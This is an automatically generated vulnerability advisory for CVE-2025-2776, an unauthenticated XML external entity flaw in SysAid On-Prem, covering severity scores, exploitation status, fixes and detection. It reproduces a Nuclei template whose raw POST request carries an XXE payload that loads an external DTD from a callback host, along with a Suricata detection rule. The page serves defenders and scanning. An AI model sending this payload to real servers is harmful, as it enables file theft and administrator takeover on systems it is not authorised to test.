CVE-2025-2776: SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability

What it is

SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.

Description quoted from the CVE record (assigned by VulnCheck, published 2025-05-07).

Weakness: CWE-611 Improper Restriction of XML External Entity Reference

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability low. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.

On CISA KEV since

2025-07-22

US federal deadline

2025-08-12

Ransomware use

Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-06578, CNNVD-202505-991, EUVD-2025-13875, GHSA-hvrh-gfrr-fgc9

VEDAS cluster: VEDAS:FLIRTATIOUSFLAMINGO

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

• Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-2776.yaml
• Code repository: https://github.com/mrk336/from-eternalblue-to-cve-2025-2776-the-evolution-of-an-smb-attack
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-2776.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-2776.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-2776.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-2776.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-2776.rules

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-13875
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-hvrh-gfrr-fgc9
• Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-2776
• Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-2776
• Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202505-991

19 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS

0.647
very likely to be attacked soon

VEDAS

0.981
strong exploit evidence

On CISA KEV

Yes, since 2025-07-22

Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: sysaid sysaid.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

• https://documentation.sysaid.com/docs/24-40-60 (vendor-advisory)

How to detect it

Nuclei template (active check)

Sysaid - XML External Entity Injection

SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /mdm/serverurl); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2025-2776.yaml

id: CVE-2025-2776

info:
  name: "Sysaid - XML External Entity Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE)
    vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file
    read primitives.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-2776&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=sysaid&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2025-2776
    cwe-id: CWE-611
  metadata:
    verified: false
  tags: cve,cve2025,sysaid,xxe,oast,kev,vkev,vuln
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /mdm/serverurl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" ?>
        <!DOCTYPE foo [
        <!ENTITY % foo SYSTEM "http://{{interactsh-url}}/{{filename}}.dtd">
        %foo;
        ]>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"

CVE-2025-2776.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-2776 Sysaid - XML External Entity Injection. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-2776 Sysaid - XML External Entity Injection"; flow:established,to_server; http.uri; content:"serverurl"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-2776; reference:url,https://www.exploit.observer/?keyword=CVE-2025-2776&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=sysaid&match=exact; sid:1009186; rev:1;)

CVE-2025-2776.rules on GitHub

References

Vendor advisories and patches

• https://documentation.sysaid.com/docs/24-40-60 (vendor-advisory)

Exploits and technical analysis

• https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/ (exploit)

Government sources

• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-2776 (government-resource)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.